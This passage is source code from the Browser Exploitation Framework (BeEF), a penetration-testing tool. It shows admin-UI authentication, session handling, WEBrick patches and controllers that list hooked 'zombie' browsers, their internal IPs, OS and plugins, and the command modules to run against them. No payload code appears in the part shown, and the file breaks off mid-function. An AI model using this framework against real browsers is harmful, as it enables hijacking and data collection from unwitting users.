@http_server.mount url, http_handler_class, *args
end
else
if args == nil
mounts[url] = http_handler_class
else
mounts[url] = http_handler_class, *args
end
end
end
#
# Unmounts handler
#
# @param: {String} url to mount.
# @param: {Boolean} set to true for a hard mount, false for a soft mount.
#
def unmount(url, hard)
# argument type checking
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
if hard
@http_server.umount(url)
else
mounts.delete(url)
end
end
private
@http_server
end
end
end

28
core/modules.rb Normal file
View File

@@ -0,0 +1,28 @@
module BeEF
module Module
def self.safe_category(cat)
return cat.to_s.strip.downcase.sub(/\s/, '_')
end
def self.loaded
config = BeEF::Core::Configuration.instance
return config.get('beef.module').select{|v| v.has_key?('loaded') and v['loaded'] == true }
end
end
end
# Include only enabled modules
config = BeEF::Core::Configuration.instance
modules = config.get('beef.module').select{|key, mod|
mod['enable'] == true and mod['category'] != nil
}
modules.each{ |k,v|
cat = BeEF::Module.safe_category(v['category'])
if File.exists?('modules/'+cat+'/'+k+'/module.rb')
require 'modules/'+cat+'/'+k+'/module.rb'
config.set('beef.module.'+k+'.loaded', true)
end
}

24
core/ruby.rb Normal file
View File

@@ -0,0 +1,24 @@
=begin
Code in the 'ruby' folder are meants to patch ruby classes or
gem classes.
We use that to fix bugs or add functionalities to external code we
are using.
=end
# Patching Ruby
require 'core/ruby/module'
require 'core/ruby/object'
require 'core/ruby/string'
require 'core/ruby/print'
require 'core/ruby/hash'
# Patching WebRick
require 'core/ruby/patches/webrick/httprequest'
require 'core/ruby/patches/webrick/cookie'
require 'core/ruby/patches/webrick/genericserver'
require 'core/ruby/patches/webrick/httpresponse'
require 'core/ruby/patches/webrick/httpservlet/filehandler.rb'

6
core/ruby/hash.rb Normal file
View File

@@ -0,0 +1,6 @@
# http://snippets.dzone.com/posts/show/3401
class Hash
def recursive_merge(h)
self.merge!(h) {|key, _old, _new| if _old.class == Hash then _old.recursive_merge(_new) else _new end }
end
end

86
core/ruby/module.rb Normal file
View File

@@ -0,0 +1,86 @@
class Module
# Returns the classes in the current ObjectSpace where this module has been
# mixed in according to Module#included_modules.
#
# module M
# end
#
# module N
# include M
# end
#
# class C
# include M
# end
#
# class D < C
# end
#
# p M.included_in_classes # => [C, D]
#
def included_in_classes
classes = []
ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }
classes.reverse.inject([]) do |unique_classes, klass|
unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)
unique_classes
end
end
# Returns the modules in the current ObjectSpace where this module has been
# mixed in according to Module#included_modules.
#
# module M
# end
#
# module N
# include M
# end
#
# p M.included_in_modules # => [N]
#
def included_in_modules
modules = []
ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) }
modules.reverse.inject([]) do |unique_modules, klass|
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
unique_modules
end
end
#
# module M
# end
#
# module N
# extend M
# end
#
# p N.extended_modules # => [M]
#
def extended_modules
(class << self; self end).included_modules
end
#
# module M
# end
#
# module N
# extend M
# end
#
# p M.extended_in_modules # => [N]
#
def extended_in_modules
modules = []
ObjectSpace.each_object(Module) { |k| modules << k if k.extended_modules.include?(self) }
modules.reverse.inject([]) do |unique_modules, klass|
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
unique_modules
end
end
end

71
core/ruby/object.rb Normal file
View File

@@ -0,0 +1,71 @@
class Object
#
# Returns true if the object is a Boolean
#
# Example:
#
# a = true
# b = false
# c = 1234 # Integer
#
# a.boolean? # => true
# b.boolean? # => false
# c.boolean? # => false
#
def boolean?
self.is_a?(TrueClass) || self.is_a?(FalseClass)
end
#
# Returns true if the object is a String
#
# Example:
#
# 1.string? # => false
# 'abc'.string? # => true
#
def string?
self.is_a?(String)
end
#
# Returns true if the object is an Integer
#
# Example:
#
# 1.integer? # => true
# 'abc'.integer? # => false
#
def integer?
self.is_a?(Integer)
end
#
# Returns true if the object is a hash
#
# Example:
#
# {}.hash? # => true
# 1.hash? # => false
#
def hash?
self.is_a?(Hash)
end
#
# Returns true if the object is a class
#
# Example:
#
# class A
# end
#
# obj = A.new
# obj.class? # => true
#
def class?
self.is_a?(Class)
end
end

View File

@@ -0,0 +1,23 @@
# The following file contains patches for WEBrick.
module WEBrick
class Cookie
attr_accessor :httponly
def to_s
ret = ""
ret << @name << "=" << @value
ret << "; " << "Version=" << @version.to_s if @version > 0
ret << "; " << "Domain=" << @domain if @domain
ret << "; " << "Expires=" << @expires if @expires
ret << "; " << "Max-Age=" << @max_age.to_s if @max_age
ret << "; " << "Comment=" << @comment if @comment
ret << "; " << "Path=" << @path if @path
ret << "; " << "Secure" if @secure
ret << "; " << "HttpOnly" if @httponly
ret
end
end
end

View File

@@ -0,0 +1,15 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPServer < ::WEBrick::GenericServer
# I'm patching WEBrick so it does not log http requests anymore.
# The reason being that it seems to considerably slow down BeEF which receives
# numerous requests simultaneously. Additionally, it was also found to crash
# the thread when not being able to write to the log file (which happened when
# overloaded).
def access_log(config, req, res); return; end
end
end

View File

@@ -0,0 +1,77 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPRequest
# I'm patching the HTTPRequest class so that it when it receives POST
# http requests, it parses the query present in the body even if the
# content type is not set.
#
# The reason for this patch is that when a zombie sends back data to
# BeEF, that data was not parsed because by default the content-type
# was not set directly. I prefer patching WEBrick rather than editing
# the BeEFJS library because cross domain http requests would be harder
# to implement at the server level.
#
# Note: this function would need to be modified if we ever needed to
# use multipart POST requests.
def parse_query()
begin
if @request_method == "GET" || @request_method == "HEAD"
@query = HTTPUtils::parse_query(@query_string)
elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/
@query = HTTPUtils::parse_query(body)
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
boundary = HTTPUtils::dequote($1)
@query = HTTPUtils::parse_form_data(body, boundary)
else
@query = Hash.new
end
rescue => ex
raise HTTPStatus::BadRequest, ex.message
end
end
def get_cookie_value(name)
return nil if name.nil?
@cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return c.value if (c.name.to_s.eql? name)
}
nil
end
def get_referer_domain
referer = header['referer'][0]
if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\//
return $1
end
nil
end
def get_hook_session_id()
config = BeEF::Core::Configuration.instance
hook_session_name = config.get('beef.http.hook_session_name')
@query[hook_session_name] || nil
end
# return the command module command_id value from the request
def get_command_id()
@query['command_id'] || nil
end
end
end

View File

@@ -0,0 +1,75 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPResponse
#
# set caching headers none
#
def set_no_cache()
@header['ETag'] = nil
@header['Last-Modified'] = Time.now + 100**4
@header['Expires'] = Time.now - 100**4
@header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
@header['Pragma'] = 'no-cache'
end
#
# set the cookie in the response
# Limit: only one set-cookie will be within the response
#
def set_cookie(name, value, path = '/', httponly = true, secure = true)
cookie = WEBrick::Cookie.new(name, value)
cookie.path = path
cookie.httponly = httponly
cookie.secure = secure
# add cookie to response header
@header['Set-Cookie'] = cookie.to_s
end
#
# This patch should prevent leakage of directory listing, access
# auth errors, etc.
#
def set_error(ex, backtrace=false)
# set repsonse headers
@status = 404;
@header['content-type'] = "text/html; charset=UTF-8"
# set response content
@body = ''
@body << <<-_end_of_html_
<HTML>
<HEAD>
<TITLE>No page for you!</TITLE>
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: black; text-decoration: none }
A:visited { color: black; text-decoration: none }
</STYLE>
</HEAD><BODY>
<TABLE width=500 border=0 cellspacing=10>
<TR>
<TD>
<h1><a href="http://www.bindshell.net/tools/beef/">These aren't the pages you're looking for</a></h1>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
_end_of_html_
end
end
end

View File

@@ -0,0 +1,32 @@
# The following file contains patches for WEBrick.
module WEBrick
module HTTPServlet
class FileHandler
# prevent directory traversal attacks
def prevent_directory_traversal(req, res)
raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info)
if trailing_pathsep?(req.path_info)
expanded = File.expand_path(req.path_info + "x")
expanded.chop! # remove trailing "x"
else
expanded = File.expand_path(req.path_info)
end
req.path_info = expanded
end
# checks if a string contains null characters
def has_null? (str)
str.split(//).each {|c|
return true if c.eql?("\000")
}
false
end
end
end
end

54
core/ruby/print.rb Normal file
View File

@@ -0,0 +1,54 @@
#
# Function used to print errors to the console
#
def print_error(s)
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'.red+' '+s
end
#
# Function used to print information to the console
#
def print_info(s)
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[*]'.blue+' '+s
end
#
# Function used to print debug information
#
def print_debug(s)
config = BeEF::Core::Configuration.instance
if config.get('beef.debug') || BeEF::Extension::Console.verbose?
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[>]'.yellow+' '+s
end
end
#
# Function used to print successes to the console
#
def print_success(s)
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[+]'.green+' '+s
end
#
# Produces something that looks like that:
#
# [12:16:32] | Hook URL: http://127.0.0.1:3000/hook.js
# [12:16:32] | UI URL: http://127.0.0.1:3000/ui/panel
# [12:16:32] |_ Demo URL: http://127.0.0.1:3000/demos/basic.html
#
# The Template is like this:
#
# [date] | content
#
def print_more(s)
time = Time.now.localtime.strftime("[%k:%M:%S]")
lines = s.split("\n")
lines.each_with_index do |line, index|
if ((index+1) == lines.size)
puts "#{time} |_ #{line}"
else
puts "#{time} | #{line}"
end
end
end

11
core/ruby/string.rb Normal file
View File

@@ -0,0 +1,11 @@
class String
#
# Use a gem to colorize the console.
#
# See: http://flori.github.com/term-ansicolor/
#
# Example: print "red bold".red.bold, "\n"
#
include Term::ANSIColor
end

32
core/settings.rb Normal file
View File

@@ -0,0 +1,32 @@
module BeEF
#
# Use this module to check the current settings of BeEF.
#
# Examples:
#
# BeEF::Settings.console? # => returns true if the console extension exists and is loaded.
#
module Settings
#
# Checks if an extension exists in the framework.
# Returns true if the extension exists, false if not.
#
# Example:
#
# extension_exists?('Console') # => true
# extension_exists?('abcdegh') # => false
#
def self.extension_exists?(beef_extension)
BeEF::Extension.const_defined?(beef_extension)
end
#
# Returns true of the extension Console has been loaded
#
def self.console?
self.extension_exists?('Console')
end
end
end

View File

@@ -0,0 +1,101 @@
module BeEF
module Extension
module AdminUI
module API
module CommandExtension
extend BeEF::API::Command
include BeEF::Core::Constants::Browsers
include BeEF::Core::Constants::CommandModule
#
# verify whether this command module has been checked against the target browser
# this function is used when determining the code of the node icon
#
def verify_target
return VERIFIED_UNKNOWN if not @target # no target specified in the module
# loop through each definition and check it
@target.each {|definition|
return definition['verified_status'] if test_target(definition)
}
return VERIFIED_UNKNOWN
end
#
# test if the target definition matches the hooked browser
# this function is used when determining the code of the node icon
#
def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver)
# check if wild cards are set
return true if not target_attr_name
return true if target_attr_name.nil?
return true if target_attr_name.eql? ALL
# can't answer based on hb_attr_name
return false if not hb_attr_name
return false if hb_attr_name.nil?
return false if hb_attr_name.eql? UNKNOWN
# check if the attribute is targeted
return false if not target_attr_name.eql? hb_attr_name
# assume that the max version and min version were purposefully excluded
return true if target_attr_max_ver.nil? && target_attr_min_ver.nil?
# check if the framework can detect hb version
return false if hb_attr_ver.eql? 'UNKNOWN'
# check the version number is within range
return false if hb_attr_ver.to_f > target_attr_max_ver.to_f
return false if hb_attr_ver.to_f < target_attr_min_ver.to_f
# all the checks passed
true
end
#
# test if the target definition matches the hooked browser
# this function is used when determining the code of the node icon
#
def test_target(target_definition)
# if the definition is nill we don't know
return false if target_definition.nil?
# check if the browser is a target
hb_browser_name = get_browser_detail('BrowserName')
hb_browser_version = get_browser_detail('BrowserVersion')
target_browser_name = target_definition['browser_name']
target_browser_max_ver = target_definition['browser_max_ver']
target_browser_min_ver = target_definition['browser_min_ver']
browser_match = test_target_attribute(hb_browser_name, hb_browser_version, target_browser_name, target_browser_max_ver, target_browser_min_ver)
# check if the operating system is a target
hb_os_name = get_browser_detail('OsName')
target_os_name = target_definition['os_name']
os_match = test_target_attribute(hb_os_name, nil, target_os_name, nil, nil)
return browser_match && os_match
end
#
# Get the browser detail from the database.
#
def get_browser_detail(key)
bd = BeEF::Extension::Initialization::Models::BrowserDetails
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filters.is_valid_hook_session_id?(@session_id)
bd.get(@session_id, key)
end
end
end
end
end
end

View File

@@ -0,0 +1,41 @@
module BeEF
module Extension
module AdminUI
module API
#
# We use this module to register all the http handler for the Administrator UI
#
module Handler
# use of the API right here
extend BeEF::API::Server::Handler
#
# This function gets called automatically by the server.
#
def self.mount_handlers(beef_server)
# retrieve the configuration class instance
configuration = BeEF::Core::Configuration.instance
# registers the http controllers for the AdminUI extensions
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each { |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("/ui/#{mod_name}", true, BeEF::Extension::AdminUI::Handlers::UI, mod_name)
}
# mount the folder were we store static files (javascript, css, images) for the admin ui
media_dir = File.dirname(__FILE__)+'/../media/'
beef_server.mount('/ui/media', true, BeEF::Extension::AdminUI::Handlers::MediaHandler, media_dir)
# mount the favicon file
beef_server.mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{media_dir}#{configuration.get("beef.ui.favicon_dir")}/#{configuration.get("beef.ui.favicon_file_name")}")
end
end
end
end
end
end

View File

@@ -0,0 +1,100 @@
module BeEF
module Extension
module AdminUI
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
class HttpController
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
C = BeEF::Core::Models::Command
CM = BeEF::Core::Models::CommandModule
Z = BeEF::Core::Models::HookedBrowser
#
# Class constructor. Takes data from the child class and populates itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
if data['paths'].nil? and self.methods.include? "index"
@paths = {'index' => '/'}
else
@paths = data['paths']
end
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
def run(request, response)
@request = request
@params = request.query
@session = BeEF::Extension::AdminUI::Session.instance
auth_url = '/ui/authentication'
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
@body = page_redirect(auth_url) # redirect to auth page
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
raise WEBrick::HTTPStatus::BadRequest, "path is invalid" if not BeEF::Filters.is_valid_path_info?(path)
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil?
# call the relevant mapped function
function.call
# build the template filename and apply it - if the file exists
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/
end
end
# Constructs a redirect page
def page_redirect(location) "<html><head></head><body>" + script_redirect(location) + "</body></html>" end
# Constructs a redirect script
def script_redirect(location) "<script> document.location=\"#{location}\"</script>" end
# Constructs a html script tag
def script_tag(filename) "<script src=\"#{$url}/ui/media/javascript/#{filename}\" type=\"text/javascript\"></script>" end
# Constructs a html stylesheet tag
def stylesheet_tag(filename) "<link rel=\"stylesheet\" href=\"#{$url}/ui/media/css/#{filename}\" type=\"text/css\" />" end
# Constructs a hidden html nonce tag
def nonce_tag
@session = BeEF::Extension::AdminUI::Session.instance
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"" + @session.get_nonce + "\"/>"
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end
end
end
end
end

View File

@@ -0,0 +1,114 @@
module BeEF
module Extension
module AdminUI
#
# The session for BeEF UI.
#
class Session
include Singleton
attr_reader :ip, :id, :nonce, :auth_timestamp
def initialize
set_logged_out
@auth_timestamp = Time.new
end
#
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Core::Crypto::secure_token
@nonce = BeEF::Core::Crypto::secure_token
@ip = ip
end
#
# set the session logged out
#
def set_logged_out
@id = nil
@nonce = nil
@ip = nil
end
#
# set teh auth_timestamp
#
def set_auth_timestamp(time)
@auth_timestamp = time
end
#
# return the session id
#
def get_id
@id
end
#
# return the nonce
#
def get_nonce
@nonce
end
#
# return the auth_timestamp
#
def get_auth_timestamp
@auth_timestamp
end
#
# Check if nonce valid
#
def valid_nonce?(request)
# check if a valid session
return false if not valid_session?(request)
return false if @nonce.nil?
return false if not request.request_method.eql? "POST"
# get nonce from request
request_nonce = request.query['nonce']
return false if request_nonce.nil?
# verify nonce
request_nonce.eql? @nonce
end
#
# Check if a session valid
#
def valid_session?(request)
# check if a valid session exists
return false if @id.nil?
return false if @ip.nil?
# check ip address matches
return false if not @ip.to_s.eql? request.peeraddr[3]
# get session cookie name from config
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.http.session_cookie_name')
# check session id matches
request.cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
}
# not a valid session
false
end
end
end
end
end

View File

@@ -0,0 +1,5 @@
beef:
extension:
admin_ui:
enable: true

View File

@@ -0,0 +1,30 @@
module BeEF
module Extension
module AdminUI
module Constants
# The User Agent strings for browser detection
module Agents
AGENT_UNKNOWN_IMG = 'unknown.png'
AGENT_FIREFOX_UA_STR = 'Firefox'
AGENT_FIREFOX_IMG = 'firefox.png'
AGENT_MOZILLA_UA_STR = 'Mozilla'
AGENT_MOZILLA_IMG = 'mozilla.png'
AGENT_IE_UA_STR = 'MSIE'
AGENT_IE_IMG = 'msie.png'
AGENT_SAFARI_UA_STR = 'Safari'
AGENT_SAFARI_IMG = 'safari.png'
AGENT_KONQ_UA_STR = 'Konqueror'
AGENT_KONQ_IMG = 'konqueror.png'
AGENT_CHROME_UA_STR = 'Chrome'
AGENT_CHROME_IMG = 'chrome.png'
AGENT_OPERA_UA_STR = 'Opera'
AGENT_OPERA_IMG = 'opera.ico'
end
end
end
end
end

View File

@@ -0,0 +1,20 @@
module BeEF
module Extension
module AdminUI
module Constants
module Icons
VERIFIED_NOT_WORKING_IMG = 'red.png'
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
VERIFIED_WORKING_IMG = 'green.png'
VERIFIED_UNKNOWN_IMG = 'grey.png'
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
end
end
end
end
end

View File

@@ -0,0 +1,141 @@
module BeEF
module Extension
module AdminUI
module Controllers
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::Extension::AdminUI::HttpController
#
# Constructor
#
def initialize
super({
'paths' => {
'/' => method(:index),
'/login' => method(:login),
'/logout' => method(:logout)
}
})
@session = BeEF::Extension::AdminUI::Session.instance
end
# Function managing the index web page
def index
@headers['Content-Type']='text/html; charset=UTF-8'
end
#
# Function managing the login
#
def login
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance
@headers['Content-Type']='application/json; charset=UTF-8'
ua_ip = @request.peeraddr[3] # get client ip address
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permited to authenticate
if not permited_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
return
end
# check if under brute force attack
time = Time.new
if not timeout?(time)
@session.set_auth_timestamp(time)
return
end
# check username and password
if not (username.eql? config.get('beef.ui.username') and password.eql? config.get('beef.ui.password') )
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
return
end
# establish an authenticated session
# set up session and set it logged in
@session.set_logged_in(ua_ip)
# create session cookie
session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name
session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id)
session_cookie.path = '/'
session_cookie.httponly = true
# add session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
@body = "{ success : true }"
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request)
raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request)
@headers['Content-Type']='application/json; charset=UTF-8'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name
session_cookie = WEBrick::Cookie.new(session_cookie_name, "")
session_cookie.path = '/'
session_cookie.expires = Time.now
session_cookie.httponly = true
# add (expired) session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.")
@body = "{ success : true }"
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permited_source?(ip)
# get permitted subnet
config = BeEF::Core::Configuration.instance
permitted_ui_subnet = config.get('beef.restrictions.permitted_ui_subnet')
target_network = IPAddr.new(permitted_ui_subnet)
# test if ip within subnet
return target_network.include?(ip)
end
#
# Brute Force Mitigation
# Only one login request per login_fail_delay seconds
#
def timeout?(time)
config = BeEF::Core::Configuration.instance
login_fail_delay = config.get('beef.ui.login_fail_delay') # get fail delay
# test if the last login attempt was less then login_fail_delay seconds
time - @session.get_auth_timestamp > login_fail_delay.to_i
end
end
end
end
end
end

View File

@@ -0,0 +1,36 @@
<html>
<head>
<title>BeEF Authentication</title>
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag 'ui/authentication.js' %>
<%= stylesheet_tag 'ext-all.css' %>
<style>
#centered {
left:50%;
top:50%;
margin:-120px 0 0 -200px;
position:fixed;
}
</style>
<!--[if IE]>
<style>
#centered {
position:absolute;
top: 50%;
left: 50%;
margin-top: -120px;
margin-left: -200px;
}
</style>
<![endif]-->
</head>
<body bgcolor="#DEE7F6">
<div id="centered"></div>
</body>
</html>

View File

@@ -0,0 +1,76 @@
module BeEF
module Extension
module AdminUI
module Controllers
class Logs < BeEF::Extension::AdminUI::HttpController
def initialize
super({
'paths' => {
'/all.json' => method(:select_all_logs),
'/zombie.json' => method(:select_zombie_logs)
}
})
end
# Selects logs in the database and returns them in a JSON format.
def select_all_logs
log = BeEF::Core::Models::Log.all()
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
# format log
@body = logs2json(log)
end
# Selects the logs for a zombie
def select_zombie_logs
# get params
session = @params['session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil?
zombie = BeEF::Core::Models::HookedBrowser.first(:session => session)
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
zombie_id = zombie.id
# get log
log = BeEF::Core::Models::Log.all(:hooked_browser_id => zombie_id)
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
# format log
@body = logs2json(log)
end
private
# Returns a list of logs in JSON format.
def logs2json(logs)
logs_json = []
count = logs.length
output = '{success: false}'
logs.each do |log|
logs_json << {
'id' => log.id.to_i,
'date' => log.date.to_s,
'event' => log.event.to_s,
'type' => log.type.to_s
}
end
# format output
output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty?
output
end
end
end
end
end
end

View File

@@ -0,0 +1,589 @@
module BeEF
module Extension
module AdminUI
module Controllers
#
#
#
class Modules < BeEF::Extension::AdminUI::HttpController
BD = BeEF::Extension::Initialization::Models::BrowserDetails
def initialize
super({
'paths' => {
'/select/commandmodules/all.json' => method(:select_all_command_modules),
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
'/select/commandmodule.json' => method(:select_command_module),
'/select/command.json' => method(:select_command),
'/select/command_results.json' => method(:select_command_results),
'/select/zombie_summary.json' => method(:select_zombie_summary),
'/commandmodule/commands.json' => method(:select_command_module_commands),
'/commandmodule/new' => method(:attach_command_module),
'/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),
'/commandmodule/reexecute' => method(:reexecute_command_module)
}
})
@session = BeEF::Extension::AdminUI::Session.instance
end
# Returns a JSON array containing the summary for a selected zombie.
def select_zombie_summary
# get the zombie
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
zombie = BeEF::Core::Models::HookedBrowser.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
# set and add the return values for the page title
page_title = BD.get(zombie_session, 'PageTitle')
if not page_title.nil?
encoded_page_title = CGI.escapeHTML(page_title)
encoded_page_hash = { 'Page Title' => encoded_page_title }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_page_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the host name
host_name = BD.get(zombie_session, 'HostName')
if not host_name.nil?
encoded_host_name = CGI.escapeHTML(host_name)
encoded_host_name_hash = { 'Host Name' => encoded_host_name }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_host_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the os name
os_name = BD.get(zombie_session, 'OsName')
if not host_name.nil?
encoded_os_name = CGI.escapeHTML(os_name)
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_os_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the browser name
browser_name = BD.get(zombie_session, 'BrowserName')
if not browser_name.nil?
friendly_browser_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
browser_name_hash = { 'Browser Name' => friendly_browser_name }
browser_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => browser_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(browser_name_row) # add the row
end
# set and add the return values for the browser version
browser_version = BD.get(zombie_session, 'BrowserVersion')
if not browser_version.nil?
encoded_browser_version = CGI.escapeHTML(browser_version)
browser_version_hash = { 'Browser Version' => encoded_browser_version }
browser_version_row = {
'category' => 'Browser Hook Initialisation',
'data' => browser_version_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(browser_version_row) # add the row
end
# set and add the list of plugins installed in the browser
browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
if not browser_plugins.nil? and not browser_plugins.empty?
encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_browser_plugins_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the internal ip address
internal_ip = BD.get(zombie_session, 'InternalIP')
if not internal_ip.nil?
encoded_internal_ip = CGI.escapeHTML(internal_ip)
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_internal_ip_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the internal hostname
internal_hostname = BD.get(zombie_session, 'InternalHostname')
if not internal_hostname.nil?
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_internal_hostname_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
@body = summary_grid_hash.to_json
end
# Returns the list of all command_modules in a JSON format
def select_all_command_modules
#modules = BeEF::Module.loaded
@body = command_modules2json(Dir["#{$root_dir}/modules/**/*.rb"])
end
# Returns the list of all command_modules for a TreePanel in the interface.
def select_command_modules_tree
command_modules_tree_array = []
command_modules_categories = []
# get an array of all the command modules in the database
db_command_modules = BeEF::Core::Models::CommandModule.all(:order => [:id.asc])
raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil?
db_command_modules.each {|command_module_db_details|
# get the hooked browser session id and set it in the command module
hook_session_id = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil?
# create an instance of the comand module, bad way of doing it, but have to until dynamic loadding is merged
command_module_name = command_module_db_details.path.split('/').reverse[1]
#command_module_name = File.basename command_module_db_details.path, '.rb' # get the name
command_module = BeEF::Core::Command.const_get(command_module_name.capitalize).new
